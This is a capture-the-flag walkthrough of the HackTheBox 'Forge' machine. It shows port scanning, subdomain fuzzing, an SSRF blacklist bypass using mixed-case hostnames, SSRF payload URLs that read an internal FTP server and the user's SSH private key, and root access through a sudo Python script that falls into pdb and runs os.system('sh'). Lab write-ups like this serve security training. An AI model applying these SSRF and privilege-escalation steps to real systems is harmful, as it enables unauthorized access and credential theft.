• Name: Forge
• OS: Linux
• Difficulty: Medium
• IP: 10.10.11.111
• Points: 30
• Machine Creator: NoobHacker9999

Introduction

Forge is a fun box on Hackthebox that has a File Upload functionality which is vulnerable to SSRF. This exposes the internal Admin panel and lets us read files with internal FTP service, which includes SSH key pair of the user.

Listing the available commands we can run as a superuser, we have a python script which opens a socket connection. This calls PDB with an exception occurs, with which we get a shell as root.

Scanning

Masscan resuts

We run masscan to find all ports 1-65535

sudo masscan -p1-65535,U:1-65535 --rate=500 -e tun0 10.10.11.111

Discovered open port 80/tcp on 10.10.11.111
Discovered open port 22/tcp on 10.10.11.111

NMAP resuts

We run nmap for the open ports

sudo nmap -sC -sV -oN 10.10.11.111.nmap 10.10.11.111 -p 80,22

Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds

Visiting http://10.10.11.111:80 redirects us to http://forge.htb

We add target box IP 10.10.11.111 to /etc/hosts of attacker box.

# Contents of /etc/hosts
10.10.11.111    forge.htb

http://forge.htb has http://forge.htb/upload to upload images but it can upload any file not only images.

we have 2 options to upload an image

- Upload local file
- Upload from url

If we use ‘upload from URL’ and put our IP, the request shows us that it is using
python-requests/2.25.1

So, now we know that the backend runs on an Apache2 which forwards requests to a local Python server. We don’t have any exploit readily available for this.

Finding subdomains

We run ffuf¹ to find subdomains on forge.htb

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt \
-u http://forge.htb -H 'Host: FUZZ.forge.htb' -fc 302

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1
________________________________________________

 :: Method           : GET
 :: URL              : http://forge.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Header           : Host: FUZZ.forge.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response status: 302
________________________________________________

admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]
Admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]
:: Progress: [87664/87664] :: Job [1/1] :: 214 req/sec :: Duration: [0:07:03] :: Errors: 0 ::

Subdomain - admin.forge.htb

We get a subdomain admin.forge.htb, we add it to /etc/hosts file.

# Contents of /etc/hosts
10.10.11.111    forge.htb admin.forge.htb

Visiting http://admin.forge.htb, tells us that Only localhost is allowed!.

We know that we can fetch any resource via upload image functionality on http://forge.htb, that’s SSRF working for us.

We put http://admin.forge.htb in the input box using Upload from url on http://forge.htb/upload

This returns URL contains a blacklisted address!

Bypassing blacklisted Pattern

We can bypass this by using http://Admin.Forge.Htb

We can now Open the URL mentioned, but we see that

The image http://forge.htb/uploads/esi2defZs6UM4xGjewXM cannot be displayed because it contains errors.

We open the URL with cURL² and we get:

We now have 2 URIs in the Admin Dashboard:

1. http://Admin.Forge.Htb/announcements
2. http://Admin.Forge.Htb/upload

We use the same method to fetch the above 2 URLs

At http://Admin.Forge.Htb/announcements we find the credentials: user:hei███████████ty123! for the internal FTP server.

The instructions mention that http://admin.forge.htb/upload can upload files directly with the format:

http://admin.forge.htb/upload?u=<url>

So we can now use ftp://user:hei███████████ty123!@Localhost in URL param to fetch files from the internal FTP server.

http://Admin.Forge.Htb/upload?u=ftp://user:hei███████████ty123!@Localhost

We now paste the above URL in the input box using Upload from url on http://forge.htb/upload

Upon fetching the contents of the file URL, we get the list of files:

We can now access user.txt and get the flag using:

http://Admin.Forge.Htb/upload?u=ftp://user:hei███████████ty123!@Localhost/user.txt

We search for other interesting files such as SSH key at location ~/.ssh/id_rsa and ~/.ssh/id_rsa.pub using:

http://Admin.Forge.Htb/upload?u=ftp://user:hei███████████ty123!@Localhost/.ssh/

http://Admin.Forge.Htb/upload?u=ftp://user:hei███████████ty123!@Localhost/.ssh/id_rsa

http://Admin.Forge.Htb/upload?u=ftp://user:hei███████████ty123!@Localhost/.ssh/id_rsa.pub

And we get id_rsa id_rsa.pub

We see in id_rsa.pub key that the user here is user.

We save it to a text file id_rsa to id_rsa.txt.

Then run:

chmod 600 id_rsa.txt    # To set proper permissions to the file

ssh -i id_rsa.txt user@forge.htb    # To log in as user 'user'

We get logged in as user user in the target box.

Escalating Privileges

We run sudo -l³ and we find that the user can run /usr/bin/python3 /opt/remote-manage.py as super-user without entering a password.

We read the contents of /opt/remote-manage.py:

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#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secr████████████ord':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

We run it and see that it opens up on a random port.

user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py

To connect to the socket we log in to the target box again as user user then run:

user@forge:~$ nc localhost <port>

Now we need to just trigger the pdb - python debugger, by raising an exception to get a PDB shell in the 1st session.

We can now enter the below commands to get a system shell in the PDB shell.

import os
os.system("sh")

And we are root! We can now fetch the root.txt flag.